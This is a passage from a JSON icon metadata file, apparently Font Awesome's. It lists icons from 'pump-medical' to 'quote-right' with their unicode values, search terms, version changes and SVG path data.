        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M326.3 218.8c0 20.5-16.7 37.2-37.2 37.2h-70.3v-74.4h70.3c20.5 0 37.2 16.7 37.2 37.2zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-128.1-37.2c0-47.9-38.9-86.8-86.8-86.8H169.2v248h49.6v-74.4h70.3c47.9 0 86.8-38.9 86.8-86.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M326.3 218.8c0 20.5-16.7 37.2-37.2 37.2h-70.3v-74.4h70.3c20.5 0 37.2 16.7 37.2 37.2zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-128.1-37.2c0-47.9-38.9-86.8-86.8-86.8H169.2v248h49.6v-74.4h70.3c47.9 0 86.8-38.9 86.8-86.8z"
      }
    },
    "free": ["brands"]
  },
  "pump-medical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e06a"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "anti-bacterial",
        "clean",
        "covid-19",
        "disinfect",
        "hygiene",
        "medical grade",
        "sanitizer",
        "soap"
      ]
    },
    "styles": ["solid"],
    "unicode": "e06a",
    "label": "Pump Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 32v96H256V96h60.1c4.2 0 8.3 1.7 11.3 4.7l33.9 33.9c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L372.7 55.4c-15-15-35.4-23.4-56.6-23.4H256c0-17.7-14.3-32-32-32H160c-17.7 0-32 14.3-32 32zM117.4 160c-33.3 0-61 25.5-63.8 58.7L35 442.7C31.9 480 61.3 512 98.8 512H285.2c37.4 0 66.9-32 63.8-69.3l-18.7-224c-2.8-33.2-30.5-58.7-63.8-58.7H117.4zM216 280v32h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H216v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V360H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h32V280c0-13.3 10.7-24 24-24s24 10.7 24 24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 32v96H256V96h60.1c4.2 0 8.3 1.7 11.3 4.7l33.9 33.9c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L372.7 55.4c-15-15-35.4-23.4-56.6-23.4H256c0-17.7-14.3-32-32-32H160c-17.7 0-32 14.3-32 32zM117.4 160c-33.3 0-61 25.5-63.8 58.7L35 442.7C31.9 480 61.3 512 98.8 512H285.2c37.4 0 66.9-32 63.8-69.3l-18.7-224c-2.8-33.2-30.5-58.7-63.8-58.7H117.4zM216 280v32h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H216v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V360H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h32V280c0-13.3 10.7-24 24-24s24 10.7 24 24z"
      }
    },
    "free": ["solid"]
  },
  "pump-soap": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e06b"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "anti-bacterial",
        "clean",
        "covid-19",
        "disinfect",
        "hygiene",
        "sanitizer",
        "soap"
      ]
    },
    "styles": ["solid"],
    "unicode": "e06b",
    "label": "Pump Soap",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 32v96H256V96h60.1c4.2 0 8.3 1.7 11.3 4.7l33.9 33.9c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L372.7 55.4c-15-15-35.4-23.4-56.6-23.4H256c0-17.7-14.3-32-32-32H160c-17.7 0-32 14.3-32 32zM117.4 160c-33.3 0-61 25.5-63.8 58.7L35 442.7C31.9 480 61.3 512 98.8 512H285.2c37.4 0 66.9-32 63.8-69.3l-18.7-224c-2.8-33.2-30.5-58.7-63.8-58.7H117.4zM256 360c0 35.3-28.7 56-64 56s-64-20.7-64-56c0-32.5 37-80.9 50.9-97.9c3.2-3.9 8.1-6.1 13.1-6.1s9.9 2.2 13.1 6.1C219 279.1 256 327.5 256 360z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 32v96H256V96h60.1c4.2 0 8.3 1.7 11.3 4.7l33.9 33.9c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L372.7 55.4c-15-15-35.4-23.4-56.6-23.4H256c0-17.7-14.3-32-32-32H160c-17.7 0-32 14.3-32 32zM117.4 160c-33.3 0-61 25.5-63.8 58.7L35 442.7C31.9 480 61.3 512 98.8 512H285.2c37.4 0 66.9-32 63.8-69.3l-18.7-224c-2.8-33.2-30.5-58.7-63.8-58.7H117.4zM256 360c0 35.3-28.7 56-64 56s-64-20.7-64-56c0-32.5 37-80.9 50.9-97.9c3.2-3.9 8.1-6.1 13.1-6.1s9.9 2.2 13.1 6.1C219 279.1 256 327.5 256 360z"
      }
    },
    "free": ["solid"]
  },
  "pushed": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3e1",
    "label": "Pushed",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 432 512\"><path d=\"M407 111.9l-98.5-9 14-33.4c10.4-23.5-10.8-40.4-28.7-37L22.5 76.9c-15.1 2.7-26 18.3-21.4 36.6l105.1 348.3c6.5 21.3 36.7 24.2 47.7 7l35.3-80.8 235.2-231.3c16.4-16.8 4.3-42.9-17.4-44.8zM297.6 53.6c5.1-.7 7.5 2.5 5.2 7.4L286 100.9 108.6 84.6l189-31zM22.7 107.9c-3.1-5.1 1-10 6.1-9.1l248.7 22.7-96.9 230.7L22.7 107.9zM136 456.4c-2.6 4-7.9 3.1-9.4-1.2L43.5 179.7l127.7 197.6c-7 15-35.2 79.1-35.2 79.1zm272.8-314.5L210.1 337.3l89.7-213.7 106.4 9.7c4 1.1 5.7 5.3 2.6 8.6z\"/></svg>",
        "viewBox": [0, 0, 432, 512],
        "width": 432,
        "height": 512,
        "path": "M407 111.9l-98.5-9 14-33.4c10.4-23.5-10.8-40.4-28.7-37L22.5 76.9c-15.1 2.7-26 18.3-21.4 36.6l105.1 348.3c6.5 21.3 36.7 24.2 47.7 7l35.3-80.8 235.2-231.3c16.4-16.8 4.3-42.9-17.4-44.8zM297.6 53.6c5.1-.7 7.5 2.5 5.2 7.4L286 100.9 108.6 84.6l189-31zM22.7 107.9c-3.1-5.1 1-10 6.1-9.1l248.7 22.7-96.9 230.7L22.7 107.9zM136 456.4c-2.6 4-7.9 3.1-9.4-1.2L43.5 179.7l127.7 197.6c-7 15-35.2 79.1-35.2 79.1zm272.8-314.5L210.1 337.3l89.7-213.7 106.4 9.7c4 1.1 5.7 5.3 2.6 8.6z"
      }
    },
    "free": ["brands"]
  },
  "puzzle-piece": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9e9"],
        "secondary": ["10f12e"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "add-on",
        "addon",
        "clue",
        "game",
        "interlocking",
        "jigsaw",
        "piece",
        "puzzle",
        "puzzle piece",
        "section"
      ]
    },
    "styles": ["solid"],
    "unicode": "f12e",
    "label": "Puzzle Piece",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 104.8c0-9.2-5.8-17.3-13.2-22.8C167.2 73.3 160 61.3 160 48c0-26.5 28.7-48 64-48s64 21.5 64 48c0 13.3-7.2 25.3-18.8 34c-7.4 5.5-13.2 13.6-13.2 22.8v0c0 12.8 10.4 23.2 23.2 23.2H336c26.5 0 48 21.5 48 48v56.8c0 12.8 10.4 23.2 23.2 23.2v0c9.2 0 17.3-5.8 22.8-13.2c8.7-11.6 20.7-18.8 34-18.8c26.5 0 48 28.7 48 64s-21.5 64-48 64c-13.3 0-25.3-7.2-34-18.8c-5.5-7.4-13.6-13.2-22.8-13.2v0c-12.8 0-23.2 10.4-23.2 23.2V464c0 26.5-21.5 48-48 48H279.2c-12.8 0-23.2-10.4-23.2-23.2v0c0-9.2 5.8-17.3 13.2-22.8c11.6-8.7 18.8-20.7 18.8-34c0-26.5-28.7-48-64-48s-64 21.5-64 48c0 13.3 7.2 25.3 18.8 34c7.4 5.5 13.2 13.6 13.2 22.8v0c0 12.8-10.4 23.2-23.2 23.2H48c-26.5 0-48-21.5-48-48V343.2C0 330.4 10.4 320 23.2 320v0c9.2 0 17.3 5.8 22.8 13.2C54.7 344.8 66.7 352 80 352c26.5 0 48-28.7 48-64s-21.5-64-48-64c-13.3 0-25.3 7.2-34 18.8C40.5 250.2 32.4 256 23.2 256v0C10.4 256 0 245.6 0 232.8V176c0-26.5 21.5-48 48-48H168.8c12.8 0 23.2-10.4 23.2-23.2v0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 104.8c0-9.2-5.8-17.3-13.2-22.8C167.2 73.3 160 61.3 160 48c0-26.5 28.7-48 64-48s64 21.5 64 48c0 13.3-7.2 25.3-18.8 34c-7.4 5.5-13.2 13.6-13.2 22.8v0c0 12.8 10.4 23.2 23.2 23.2H336c26.5 0 48 21.5 48 48v56.8c0 12.8 10.4 23.2 23.2 23.2v0c9.2 0 17.3-5.8 22.8-13.2c8.7-11.6 20.7-18.8 34-18.8c26.5 0 48 28.7 48 64s-21.5 64-48 64c-13.3 0-25.3-7.2-34-18.8c-5.5-7.4-13.6-13.2-22.8-13.2v0c-12.8 0-23.2 10.4-23.2 23.2V464c0 26.5-21.5 48-48 48H279.2c-12.8 0-23.2-10.4-23.2-23.2v0c0-9.2 5.8-17.3 13.2-22.8c11.6-8.7 18.8-20.7 18.8-34c0-26.5-28.7-48-64-48s-64 21.5-64 48c0 13.3 7.2 25.3 18.8 34c7.4 5.5 13.2 13.6 13.2 22.8v0c0 12.8-10.4 23.2-23.2 23.2H48c-26.5 0-48-21.5-48-48V343.2C0 330.4 10.4 320 23.2 320v0c9.2 0 17.3 5.8 22.8 13.2C54.7 344.8 66.7 352 80 352c26.5 0 48-28.7 48-64s-21.5-64-48-64c-13.3 0-25.3 7.2-34 18.8C40.5 250.2 32.4 256 23.2 256v0C10.4 256 0 245.6 0 232.8V176c0-26.5 21.5-48 48-48H168.8c12.8 0 23.2-10.4 23.2-23.2v0z"
      }
    },
    "free": ["solid"]
  },
  "python": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3e2",
    "label": "Python",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M439.8 200.5c-7.7-30.9-22.3-54.2-53.4-54.2h-40.1v47.4c0 36.8-31.2 67.8-66.8 67.8H172.7c-29.2 0-53.4 25-53.4 54.3v101.8c0 29 25.2 46 53.4 54.3 33.8 9.9 66.3 11.7 106.8 0 26.9-7.8 53.4-23.5 53.4-54.3v-40.7H226.2v-13.6h160.2c31.1 0 42.6-21.7 53.4-54.2 11.2-33.5 10.7-65.7 0-108.6zM286.2 404c11.1 0 20.1 9.1 20.1 20.3 0 11.3-9 20.4-20.1 20.4-11 0-20.1-9.2-20.1-20.4.1-11.3 9.1-20.3 20.1-20.3zM167.8 248.1h106.8c29.7 0 53.4-24.5 53.4-54.3V91.9c0-29-24.4-50.7-53.4-55.6-35.8-5.9-74.7-5.6-106.8.1-45.2 8-53.4 24.7-53.4 55.6v40.7h106.9v13.6h-147c-31.1 0-58.3 18.7-66.8 54.2-9.8 40.7-10.2 66.1 0 108.6 7.6 31.6 25.7 54.2 56.8 54.2H101v-48.8c0-35.3 30.5-66.4 66.8-66.4zm-6.7-142.6c-11.1 0-20.1-9.1-20.1-20.3.1-11.3 9-20.4 20.1-20.4 11 0 20.1 9.2 20.1 20.4s-9 20.3-20.1 20.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M439.8 200.5c-7.7-30.9-22.3-54.2-53.4-54.2h-40.1v47.4c0 36.8-31.2 67.8-66.8 67.8H172.7c-29.2 0-53.4 25-53.4 54.3v101.8c0 29 25.2 46 53.4 54.3 33.8 9.9 66.3 11.7 106.8 0 26.9-7.8 53.4-23.5 53.4-54.3v-40.7H226.2v-13.6h160.2c31.1 0 42.6-21.7 53.4-54.2 11.2-33.5 10.7-65.7 0-108.6zM286.2 404c11.1 0 20.1 9.1 20.1 20.3 0 11.3-9 20.4-20.1 20.4-11 0-20.1-9.2-20.1-20.4.1-11.3 9.1-20.3 20.1-20.3zM167.8 248.1h106.8c29.7 0 53.4-24.5 53.4-54.3V91.9c0-29-24.4-50.7-53.4-55.6-35.8-5.9-74.7-5.6-106.8.1-45.2 8-53.4 24.7-53.4 55.6v40.7h106.9v13.6h-147c-31.1 0-58.3 18.7-66.8 54.2-9.8 40.7-10.2 66.1 0 108.6 7.6 31.6 25.7 54.2 56.8 54.2H101v-48.8c0-35.3 30.5-66.4 66.8-66.4zm-6.7-142.6c-11.1 0-20.1-9.1-20.1-20.3.1-11.3 9-20.4 20.1-20.4 11 0 20.1 9.2 20.1 20.4s-9 20.3-20.1 20.3z"
      }
    },
    "free": ["brands"]
  },
  "q": {
    "aliases": {
      "unicodes": {
        "composite": ["71"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter Q", "Latin Small Letter Q", "letter"]
    },
    "styles": ["solid"],
    "unicode": "51",
    "label": "Q",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 256c0 88.4 71.6 160 160 160c28.9 0 56-7.7 79.4-21.1l-72-86.4c-11.3-13.6-9.5-33.8 4.1-45.1s33.8-9.5 45.1 4.1l70.9 85.1C371.9 325.8 384 292.3 384 256c0-88.4-71.6-160-160-160S64 167.6 64 256zM344.9 444.6C310 467 268.5 480 224 480C100.3 480 0 379.7 0 256S100.3 32 224 32s224 100.3 224 224c0 56.1-20.6 107.4-54.7 146.7l47.3 56.8c11.3 13.6 9.5 33.8-4.1 45.1s-33.8 9.5-45.1-4.1l-46.6-55.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 256c0 88.4 71.6 160 160 160c28.9 0 56-7.7 79.4-21.1l-72-86.4c-11.3-13.6-9.5-33.8 4.1-45.1s33.8-9.5 45.1 4.1l70.9 85.1C371.9 325.8 384 292.3 384 256c0-88.4-71.6-160-160-160S64 167.6 64 256zM344.9 444.6C310 467 268.5 480 224 480C100.3 480 0 379.7 0 256S100.3 32 224 32s224 100.3 224 224c0 56.1-20.6 107.4-54.7 146.7l47.3 56.8c11.3 13.6 9.5 33.8-4.1 45.1s-33.8 9.5-45.1-4.1l-46.6-55.9z"
      }
    },
    "free": ["solid"]
  },
  "qq": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1d6",
    "label": "QQ",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M433.754 420.445c-11.526 1.393-44.86-52.741-44.86-52.741 0 31.345-16.136 72.247-51.051 101.786 16.842 5.192 54.843 19.167 45.803 34.421-7.316 12.343-125.51 7.881-159.632 4.037-34.122 3.844-152.316 8.306-159.632-4.037-9.045-15.25 28.918-29.214 45.783-34.415-34.92-29.539-51.059-70.445-51.059-101.792 0 0-33.334 54.134-44.859 52.741-5.37-.65-12.424-29.644 9.347-99.704 10.261-33.024 21.995-60.478 40.144-105.779C60.683 98.063 108.982.006 224 0c113.737.006 163.156 96.133 160.264 214.963 18.118 45.223 29.912 72.85 40.144 105.778 21.768 70.06 14.716 99.053 9.346 99.704z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M433.754 420.445c-11.526 1.393-44.86-52.741-44.86-52.741 0 31.345-16.136 72.247-51.051 101.786 16.842 5.192 54.843 19.167 45.803 34.421-7.316 12.343-125.51 7.881-159.632 4.037-34.122 3.844-152.316 8.306-159.632-4.037-9.045-15.25 28.918-29.214 45.783-34.415-34.92-29.539-51.059-70.445-51.059-101.792 0 0-33.334 54.134-44.859 52.741-5.37-.65-12.424-29.644 9.347-99.704 10.261-33.024 21.995-60.478 40.144-105.779C60.683 98.063 108.982.006 224 0c113.737.006 163.156 96.133 160.264 214.963 18.118 45.223 29.912 72.85 40.144 105.778 21.768 70.06 14.716 99.053 9.346 99.704z"
      }
    },
    "free": ["brands"]
  },
  "qrcode": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f029"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["barcode", "info", "information", "scan"]
    },
    "styles": ["solid"],
    "unicode": "f029",
    "label": "Qrcode",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 80C0 53.5 21.5 32 48 32h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80zM64 96v64h64V96H64zM0 336c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V336zm64 16v64h64V352H64zM304 32h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H304c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48zm80 64H320v64h64V96zM256 304c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s7.2-16 16-16s16 7.2 16 16v96c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s-7.2-16-16-16s-16 7.2-16 16v64c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V304zM368 480a16 16 0 1 1 0-32 16 16 0 1 1 0 32zm64 0a16 16 0 1 1 0-32 16 16 0 1 1 0 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 80C0 53.5 21.5 32 48 32h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80zM64 96v64h64V96H64zM0 336c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V336zm64 16v64h64V352H64zM304 32h96c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H304c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48zm80 64H320v64h64V96zM256 304c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s7.2-16 16-16s16 7.2 16 16v96c0 8.8-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s-7.2-16-16-16s-16 7.2-16 16v64c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V304zM368 480a16 16 0 1 1 0-32 16 16 0 1 1 0 32zm64 0a16 16 0 1 1 0-32 16 16 0 1 1 0 32z"
      }
    },
    "free": ["solid"]
  },
  "question": {
    "aliases": {
      "unicodes": {
        "composite": ["2753", "2754", "f128"],
        "primary": ["f128"],
        "secondary": ["103f", "10f128"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "?",
        "Question Mark",
        "help",
        "information",
        "mark",
        "outlined",
        "punctuation",
        "question",
        "red question mark",
        "support",
        "unknown",
        "white question mark"
      ]
    },
    "styles": ["solid"],
    "unicode": "3f",
    "label": "Question",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M80 160c0-35.3 28.7-64 64-64h32c35.3 0 64 28.7 64 64v3.6c0 21.8-11.1 42.1-29.4 53.8l-42.2 27.1c-25.2 16.2-40.4 44.1-40.4 74V320c0 17.7 14.3 32 32 32s32-14.3 32-32v-1.4c0-8.2 4.2-15.8 11-20.2l42.2-27.1c36.6-23.6 58.8-64.1 58.8-107.7V160c0-70.7-57.3-128-128-128H144C73.3 32 16 89.3 16 160c0 17.7 14.3 32 32 32s32-14.3 32-32zm80 320a40 40 0 1 0 0-80 40 40 0 1 0 0 80z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M80 160c0-35.3 28.7-64 64-64h32c35.3 0 64 28.7 64 64v3.6c0 21.8-11.1 42.1-29.4 53.8l-42.2 27.1c-25.2 16.2-40.4 44.1-40.4 74V320c0 17.7 14.3 32 32 32s32-14.3 32-32v-1.4c0-8.2 4.2-15.8 11-20.2l42.2-27.1c36.6-23.6 58.8-64.1 58.8-107.7V160c0-70.7-57.3-128-128-128H144C73.3 32 16 89.3 16 160c0 17.7 14.3 32 32 32s32-14.3 32-32zm80 320a40 40 0 1 0 0-80 40 40 0 1 0 0 80z"
      }
    },
    "free": ["solid"]
  },
  "quinscape": {
    "changes": ["5.0.5", "5.7.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f459",
    "label": "QuinScape",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M313.6 474.6h-1a158.1 158.1 0 0 1 0-316.2c94.9 0 168.2 83.1 157 176.6 4 5.1 8.2 9.6 11.2 15.3 13.4-30.3 20.3-62.4 20.3-97.7C501.1 117.5 391.6 8 256.5 8S12 117.5 12 252.6s109.5 244.6 244.5 244.6a237.36 237.36 0 0 0 70.4-10.1c-5.2-3.5-8.9-8.1-13.3-12.5zm-.1-.1l.4.1zm78.4-168.9a99.2 99.2 0 1 0 99.2 99.2 99.18 99.18 0 0 0-99.2-99.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M313.6 474.6h-1a158.1 158.1 0 0 1 0-316.2c94.9 0 168.2 83.1 157 176.6 4 5.1 8.2 9.6 11.2 15.3 13.4-30.3 20.3-62.4 20.3-97.7C501.1 117.5 391.6 8 256.5 8S12 117.5 12 252.6s109.5 244.6 244.5 244.6a237.36 237.36 0 0 0 70.4-10.1c-5.2-3.5-8.9-8.1-13.3-12.5zm-.1-.1l.4.1zm78.4-168.9a99.2 99.2 0 1 0 99.2 99.2 99.18 99.18 0 0 0-99.2-99.2z"
      }
    },
    "free": ["brands"]
  },
  "quora": {
    "changes": ["4.7.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2c4",
    "label": "Quora",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M440.5 386.7h-29.3c-1.5 13.5-10.5 30.8-33 30.8-20.5 0-35.3-14.2-49.5-35.8 44.2-34.2 74.7-87.5 74.7-153C403.5 111.2 306.8 32 205 32 105.3 32 7.3 111.7 7.3 228.7c0 134.1 131.3 221.6 249 189C276 451.3 302 480 351.5 480c81.8 0 90.8-75.3 89-93.3zM297 329.2C277.5 300 253.3 277 205.5 277c-30.5 0-54.3 10-69 22.8l12.2 24.3c6.2-3 13-4 19.8-4 35.5 0 53.7 30.8 69.2 61.3-10 3-20.7 4.2-32.7 4.2-75 0-107.5-53-107.5-156.7C97.5 124.5 130 71 205 71c76.2 0 108.7 53.5 108.7 157.7.1 41.8-5.4 75.6-16.7 100.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M440.5 386.7h-29.3c-1.5 13.5-10.5 30.8-33 30.8-20.5 0-35.3-14.2-49.5-35.8 44.2-34.2 74.7-87.5 74.7-153C403.5 111.2 306.8 32 205 32 105.3 32 7.3 111.7 7.3 228.7c0 134.1 131.3 221.6 249 189C276 451.3 302 480 351.5 480c81.8 0 90.8-75.3 89-93.3zM297 329.2C277.5 300 253.3 277 205.5 277c-30.5 0-54.3 10-69 22.8l12.2 24.3c6.2-3 13-4 19.8-4 35.5 0 53.7 30.8 69.2 61.3-10 3-20.7 4.2-32.7 4.2-75 0-107.5-53-107.5-156.7C97.5 124.5 130 71 205 71c76.2 0 108.7 53.5 108.7 157.7.1 41.8-5.4 75.6-16.7 100.5z"
      }
    },
    "free": ["brands"]
  },
  "quote-left": {
    "aliases": {
      "names": ["quote-left-alt"],
      "unicodes": {
        "composite": ["201c"],
        "secondary": ["10f10d"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Left Double Quotation Mark",
        "mention",
        "note",
        "phrase",
        "text",
        "type"
      ]
    },
    "styles": ["solid"],
    "unicode": "f10d",
    "label": "Quote Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 216C0 149.7 53.7 96 120 96h8c17.7 0 32 14.3 32 32s-14.3 32-32 32h-8c-30.9 0-56 25.1-56 56v8h64c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V320 288 216zm256 0c0-66.3 53.7-120 120-120h8c17.7 0 32 14.3 32 32s-14.3 32-32 32h-8c-30.9 0-56 25.1-56 56v8h64c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H320c-35.3 0-64-28.7-64-64V320 288 216z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 216C0 149.7 53.7 96 120 96h8c17.7 0 32 14.3 32 32s-14.3 32-32 32h-8c-30.9 0-56 25.1-56 56v8h64c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V320 288 216zm256 0c0-66.3 53.7-120 120-120h8c17.7 0 32 14.3 32 32s-14.3 32-32 32h-8c-30.9 0-56 25.1-56 56v8h64c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H320c-35.3 0-64-28.7-64-64V320 288 216z"
      }
    },
    "free": ["solid"]
  },
  "quote-right": {
    "aliases": {
      "names": ["quote-right-alt"],
      "unicodes": {
        "composite": ["201d"],
        "secondary": ["10f10e"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Right Double Quotation Mark",
        "mention",
        "note",
        "phrase",
        "text",
        "type"
      ]
    },
    "styles": ["solid"],
    "unicode": "f10e",
    "label": "Quote Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 296c0 66.3-53.7 120-120 120h-8c-17.7 0-32-14.3-32-32s14.3-32 32-32h8c30.9 0 56-25.1 56-56v-8H320c-35.3 0-64-28.7-64-64V160c0-35.3 28.7-64 64-64h64c35.3 0 64 28.7 64 64v32 32 72zm-256 0c0 66.3-53.7 120-120 120H64c-17.7 0-32-14.3-32-32s14.3-32 32-32h8c30.9 0 56-25.1 56-56v-8H64c-35.3 0-64-28.7-64-64V160c0-35.3 28.7-64 64-64h64c35.3 0 64 28.7 64 64v32 32 72z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
